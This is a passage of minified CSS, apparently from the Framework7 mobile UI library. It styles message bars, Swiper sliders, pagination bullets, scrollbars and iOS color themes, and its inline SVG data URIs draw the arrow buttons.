.messagebar-sheet{background:#fff}.md .messagebar-sheet-image .icon-checkbox,.md .messagebar-sheet-item .icon-checkbox{border-color:#fff;background:rgba(255,255,255,.25);-webkit-box-shadow:0 0 10px rgba(0,0,0,.5);box-shadow:0 0 10px rgba(0,0,0,.5)}.md .messagebar-attachment-delete{right:8px;top:8px;width:24px;height:24px;background:#2196f3;cursor:pointer;border-radius:2px}.md .messagebar-attachment-delete:after,.md .messagebar-attachment-delete:before{width:14px;height:2px;background:#fff;margin-left:-7px;margin-top:-1px}.md .theme-dark .messagebar,.messagebar.md .theme-dark{background:#000}.md .theme-dark .messagebar:before,.messagebar.md .theme-dark:before{background-color:rgba(255,255,255,.2)}.md .theme-dark .messagebar a.link,.messagebar.md .theme-dark a.link{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar a.link:before,.messagebar.md .theme-dark a.link:before{content:'';width:152%;height:152%;position:absolute;left:-26%;top:-26%;background-image:-webkit-radial-gradient(center,circle,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-image:radial-gradient(circle at center,rgba(255,255,255,.15) 66%,rgba(255,255,255,0) 66%);background-repeat:no-repeat;background-position:center;background-size:100% 100%;opacity:0;pointer-events:none;-webkit-transition-duration:.6s;transition-duration:.6s}.md .theme-dark .messagebar a.link.active-state:before,.messagebar.md .theme-dark a.link.active-state:before{opacity:1;-webkit-transition-duration:150ms;transition-duration:150ms}.md .theme-dark .messagebar textarea,.messagebar.md .theme-dark textarea{color:rgba(255,255,255,.87)}.md .theme-dark .messagebar-attachments{border-bottom-color:rgba(255,255,255,.2)}.swiper-container{margin:0 auto;position:relative;overflow:hidden;list-style:none;padding:0;z-index:1}.swiper-container-no-flexbox .swiper-slide{float:left}.swiper-container-vertical>.swiper-wrapper{-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column}.swiper-wrapper{position:relative;width:100%;height:100%;z-index:1;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-box-sizing:content-box;box-sizing:content-box}.swiper-container-android .swiper-slide,.swiper-wrapper{-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}.swiper-container-multirow>.swiper-wrapper{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.swiper-container-free-mode>.swiper-wrapper{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out;margin:0 auto}.swiper-slide{-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;width:100%;height:100%;position:relative;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform}.swiper-invisible-blank-slide{visibility:hidden}.swiper-container-autoheight,.swiper-container-autoheight .swiper-slide{height:auto}.swiper-container-autoheight .swiper-wrapper{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start;-webkit-transition-property:height,-webkit-transform;transition-property:height,-webkit-transform;transition-property:transform,height;transition-property:transform,height,-webkit-transform}.swiper-container-3d{-webkit-perspective:1200px;perspective:1200px}.swiper-container-3d .swiper-cube-shadow,.swiper-container-3d .swiper-slide,.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top,.swiper-container-3d .swiper-wrapper{-webkit-transform-style:preserve-3d;transform-style:preserve-3d}.swiper-container-3d .swiper-slide-shadow-bottom,.swiper-container-3d .swiper-slide-shadow-left,.swiper-container-3d .swiper-slide-shadow-right,.swiper-container-3d .swiper-slide-shadow-top{position:absolute;left:0;top:0;width:100%;height:100%;pointer-events:none;z-index:10}.swiper-container-3d .swiper-slide-shadow-left{background-image:-webkit-gradient(linear,right top,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(right,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to left,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-right{background-image:-webkit-gradient(linear,left top,right top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(left,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to right,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-top{background-image:-webkit-gradient(linear,left bottom,left top,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(bottom,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to top,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-3d .swiper-slide-shadow-bottom{background-image:-webkit-gradient(linear,left top,left bottom,from(rgba(0,0,0,.5)),to(rgba(0,0,0,0)));background-image:-webkit-linear-gradient(top,rgba(0,0,0,.5),rgba(0,0,0,0));background-image:linear-gradient(to bottom,rgba(0,0,0,.5),rgba(0,0,0,0))}.swiper-container-wp8-horizontal,.swiper-container-wp8-horizontal>.swiper-wrapper{-ms-touch-action:pan-y;touch-action:pan-y}.swiper-container-wp8-vertical,.swiper-container-wp8-vertical>.swiper-wrapper{-ms-touch-action:pan-x;touch-action:pan-x}.swiper-container .swiper-notification{position:absolute;left:0;top:0;pointer-events:none;opacity:0;z-index:-1000}.swiper-container-coverflow .swiper-wrapper{-ms-perspective:1200px}.swiper-container-cube{overflow:visible}.swiper-container-cube .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1;visibility:hidden;-webkit-transform-origin:0 0;transform-origin:0 0;width:100%;height:100%}.swiper-container-cube .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-cube.swiper-container-rtl .swiper-slide{-webkit-transform-origin:100% 0;transform-origin:100% 0}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-cube .swiper-slide-active,.swiper-container-cube .swiper-slide-next,.swiper-container-cube .swiper-slide-next+.swiper-slide,.swiper-container-cube .swiper-slide-prev{pointer-events:auto;visibility:visible}.swiper-container-cube .swiper-slide-shadow-bottom,.swiper-container-cube .swiper-slide-shadow-left,.swiper-container-cube .swiper-slide-shadow-right,.swiper-container-cube .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-container-cube .swiper-cube-shadow{position:absolute;left:0;bottom:0;width:100%;height:100%;background:#000;opacity:.6;-webkit-filter:blur(50px);filter:blur(50px);z-index:0}.swiper-container-fade.swiper-container-free-mode .swiper-slide{-webkit-transition-timing-function:ease-out;transition-timing-function:ease-out}.swiper-container-fade .swiper-slide{pointer-events:none;-webkit-transition-property:opacity;transition-property:opacity}.swiper-container-fade .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-fade .swiper-slide-active,.swiper-container-fade .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip{overflow:visible}.swiper-container-flip .swiper-slide{pointer-events:none;-webkit-backface-visibility:hidden;backface-visibility:hidden;z-index:1}.swiper-container-flip .swiper-slide .swiper-slide{pointer-events:none}.swiper-container-flip .swiper-slide-active,.swiper-container-flip .swiper-slide-active .swiper-slide-active{pointer-events:auto}.swiper-container-flip .swiper-slide-shadow-bottom,.swiper-container-flip .swiper-slide-shadow-left,.swiper-container-flip .swiper-slide-shadow-right,.swiper-container-flip .swiper-slide-shadow-top{z-index:0;-webkit-backface-visibility:hidden;backface-visibility:hidden}.swiper-scrollbar{border-radius:10px;position:relative;-ms-touch-action:none;background:rgba(0,0,0,.1)}.swiper-container-horizontal>.swiper-scrollbar{position:absolute;left:1%;bottom:3px;z-index:50;height:5px;width:98%}.swiper-container-vertical>.swiper-scrollbar{position:absolute;right:3px;top:1%;z-index:50;width:5px;height:98%}.swiper-scrollbar-drag{height:100%;width:100%;position:relative;background:rgba(0,0,0,.5);border-radius:10px;left:0;top:0}.swiper-scrollbar-cursor-drag{cursor:move}.swiper-scrollbar-lock{display:none}.swiper-zoom-container{width:100%;height:100%;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;text-align:center}.swiper-zoom-container>canvas,.swiper-zoom-container>img,.swiper-zoom-container>svg{max-width:100%;max-height:100%;-o-object-fit:contain;object-fit:contain}.swiper-slide-zoomed{cursor:move}.swiper-button-next,.swiper-button-prev{position:absolute;top:50%;width:27px;height:44px;margin-top:-22px;z-index:10;cursor:pointer;background-size:27px 44px;background-position:center;background-repeat:no-repeat}.swiper-button-next.swiper-button-disabled,.swiper-button-prev.swiper-button-disabled{opacity:.35;cursor:auto;pointer-events:none}.swiper-button-prev,.swiper-container-rtl .swiper-button-next{left:10px;right:auto}.swiper-button-next,.swiper-container-rtl .swiper-button-prev{right:10px;left:auto}.swiper-pagination{position:absolute;text-align:center;-webkit-transition:.3s opacity;transition:.3s opacity;-webkit-transform:translate3d(0,0,0);transform:translate3d(0,0,0);z-index:10}.swiper-pagination.swiper-pagination-hidden{opacity:0}.swiper-container-horizontal>.swiper-pagination-bullets,.swiper-pagination-custom,.swiper-pagination-fraction{bottom:10px;left:0;width:100%}.swiper-pagination-bullets-dynamic{overflow:hidden;font-size:0}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transform:scale(.33);transform:scale(.33);position:relative}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active{-webkit-transform:scale(1);transform:scale(1)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next{-webkit-transform:scale(.66);transform:scale(.66)}.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next{-webkit-transform:scale(.33);transform:scale(.33)}.swiper-pagination-bullet{width:8px;height:8px;display:inline-block;border-radius:100%;background:#000;opacity:.2}button.swiper-pagination-bullet{border:none;margin:0;padding:0;-webkit-box-shadow:none;box-shadow:none;-webkit-appearance:none;-moz-appearance:none;appearance:none}.swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.swiper-pagination-bullet-active{opacity:1}.swiper-container-vertical>.swiper-pagination-bullets{right:10px;top:50%;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.swiper-container-vertical>.swiper-pagination-bullets .swiper-pagination-bullet{margin:6px 0;display:block}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{top:50%;-webkit-transform:translateY(-50%);transform:translateY(-50%);width:8px}.swiper-container-vertical>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{display:inline-block;-webkit-transition:.2s top,.2s -webkit-transform;transition:.2s top,.2s -webkit-transform;transition:.2s transform,.2s top;transition:.2s transform,.2s top,.2s -webkit-transform}.swiper-container-horizontal>.swiper-pagination-bullets .swiper-pagination-bullet{margin:0 4px}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic{left:50%;-webkit-transform:translateX(-50%);transform:translateX(-50%);white-space:nowrap}.swiper-container-horizontal>.swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet{-webkit-transition:.2s left,.2s -webkit-transform;transition:.2s left,.2s -webkit-transform;transition:.2s transform,.2s left;transition:.2s transform,.2s left,.2s -webkit-transform}.swiper-pagination-progressbar{background:rgba(0,0,0,.25);position:absolute}.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{position:absolute;left:0;top:0;width:100%;height:100%;-webkit-transform:scale(0);transform:scale(0);-webkit-transform-origin:left top;transform-origin:left top}.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{-webkit-transform-origin:right top;transform-origin:right top}.swiper-container-horizontal>.swiper-pagination-progressbar,.swiper-container-vertical>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite{width:100%;height:4px;left:0;top:0}.swiper-container-horizontal>.swiper-pagination-progressbar.swiper-pagination-progressbar-opposite,.swiper-container-vertical>.swiper-pagination-progressbar{width:4px;height:100%;left:0;top:0}.swiper-lazy-preloader{position:absolute;left:50%;top:50%;z-index:10}.ios .swiper-lazy-preloader{width:32px;height:32px;margin-left:-16px;margin-top:-16px}.ios .swiper-button-prev,.ios .swiper-container-rtl .swiper-button-next{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-button-next,.ios .swiper-container-rtl .swiper-button-prev{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .swiper-pagination-bullet-active{background:#007aff}.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-red .swiper-button-prev,.ios .color-theme-red .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-red,.ios .swiper-container-rtl .swiper-button-next.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-red .swiper-button-next,.ios .color-theme-red .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-red,.ios .swiper-container-rtl .swiper-button-prev.color-red{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E")}.ios .color-red .swiper-pagination-bullet-active,.ios .color-theme-red .swiper-pagination-bullet-active{background:#ff3b30}.ios .color-red .swiper-pagination-progressbar,.ios .color-red.swiper-pagination-progressbar,.ios .color-theme-red .swiper-pagination-progressbar,.ios .color-theme-red.swiper-pagination-progressbar{background:rgba(255,59,48,.25)}.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff3b30}.ios .color-theme-green .swiper-button-prev,.ios .color-theme-green .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-green,.ios .swiper-container-rtl .swiper-button-next.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-green .swiper-button-next,.ios .color-theme-green .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-green,.ios .swiper-container-rtl .swiper-button-prev.color-green{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E")}.ios .color-green .swiper-pagination-bullet-active,.ios .color-theme-green .swiper-pagination-bullet-active{background:#4cd964}.ios .color-green .swiper-pagination-progressbar,.ios .color-green.swiper-pagination-progressbar,.ios .color-theme-green .swiper-pagination-progressbar,.ios .color-theme-green.swiper-pagination-progressbar{background:rgba(76,217,100,.25)}.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#4cd964}.ios .color-theme-blue .swiper-button-prev,.ios .color-theme-blue .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-blue,.ios .swiper-container-rtl .swiper-button-next.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .swiper-button-next,.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-blue,.ios .swiper-container-rtl .swiper-button-prev.color-blue{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E")}.ios .color-blue .swiper-pagination-bullet-active,.ios .color-theme-blue .swiper-pagination-bullet-active{background:#007aff}.ios .color-blue .swiper-pagination-progressbar,.ios .color-blue.swiper-pagination-progressbar,.ios .color-theme-blue .swiper-pagination-progressbar,.ios .color-theme-blue.swiper-pagination-progressbar{background:rgba(0,122,255,.25)}.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#007aff}.ios .color-theme-pink .swiper-button-prev,.ios .color-theme-pink .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-pink,.ios .swiper-container-rtl .swiper-button-next.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .swiper-button-next,.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-pink,.ios .swiper-container-rtl .swiper-button-prev.color-pink{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E")}.ios .color-pink .swiper-pagination-bullet-active,.ios .color-theme-pink .swiper-pagination-bullet-active{background:#ff2d55}.ios .color-pink .swiper-pagination-progressbar,.ios .color-pink.swiper-pagination-progressbar,.ios .color-theme-pink .swiper-pagination-progressbar,.ios .color-theme-pink.swiper-pagination-progressbar{background:rgba(255,45,85,.25)}.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff2d55}.ios .color-theme-yellow .swiper-button-prev,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-yellow,.ios .swiper-container-rtl .swiper-button-next.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-button-next,.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-yellow,.ios .swiper-container-rtl .swiper-button-prev.color-yellow{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .swiper-pagination-bullet-active,.ios .color-yellow .swiper-pagination-bullet-active{background:#fc0}.ios .color-theme-yellow .swiper-pagination-progressbar,.ios .color-theme-yellow.swiper-pagination-progressbar,.ios .color-yellow .swiper-pagination-progressbar,.ios .color-yellow.swiper-pagination-progressbar{background:rgba(255,204,0,.25)}.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fc0}.ios .color-theme-orange .swiper-button-prev,.ios .color-theme-orange .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-orange,.ios .swiper-container-rtl .swiper-button-next.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .swiper-button-next,.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-orange,.ios .swiper-container-rtl .swiper-button-prev.color-orange{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E")}.ios .color-orange .swiper-pagination-bullet-active,.ios .color-theme-orange .swiper-pagination-bullet-active{background:#ff9500}.ios .color-orange .swiper-pagination-progressbar,.ios .color-orange.swiper-pagination-progressbar,.ios .color-theme-orange .swiper-pagination-progressbar,.ios .color-theme-orange.swiper-pagination-progressbar{background:rgba(255,149,0,.25)}.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#ff9500}.ios .color-theme-gray .swiper-button-prev,.ios .color-theme-gray .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-gray,.ios .swiper-container-rtl .swiper-button-next.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .swiper-button-next,.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-gray,.ios .swiper-container-rtl .swiper-button-prev.color-gray{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E")}.ios .color-gray .swiper-pagination-bullet-active,.ios .color-theme-gray .swiper-pagination-bullet-active{background:#8e8e93}.ios .color-gray .swiper-pagination-progressbar,.ios .color-gray.swiper-pagination-progressbar,.ios .color-theme-gray .swiper-pagination-progressbar,.ios .color-theme-gray.swiper-pagination-progressbar{background:rgba(142,142,147,.25)}.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#8e8e93}.ios .color-theme-white .swiper-button-prev,.ios .color-theme-white .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-white,.ios .swiper-container-rtl .swiper-button-next.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-button-next,.ios .color-theme-white .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-white,.ios .swiper-container-rtl .swiper-button-prev.color-white{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .swiper-pagination-bullet-active,.ios .color-white .swiper-pagination-bullet-active{background:#fff}.ios .color-theme-white .swiper-pagination-progressbar,.ios .color-theme-white.swiper-pagination-progressbar,.ios .color-white .swiper-pagination-progressbar,.ios .color-white.swiper-pagination-progressbar{background:rgba(255,255,255,.25)}.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill,.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill{background:#fff}.ios .color-theme-black .swiper-button-prev,.ios .color-theme-black .swiper-container-rtl .swiper-button-next,.ios .swiper-button-prev.color-black,.ios .swiper-container-rtl .swiper-button-next.color-black{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .swiper-button-next,.ios .color-theme-black .swiper-container-rtl .swiper-button-prev,.ios .swiper-button-next.color-black,.ios .swiper-container-rtl 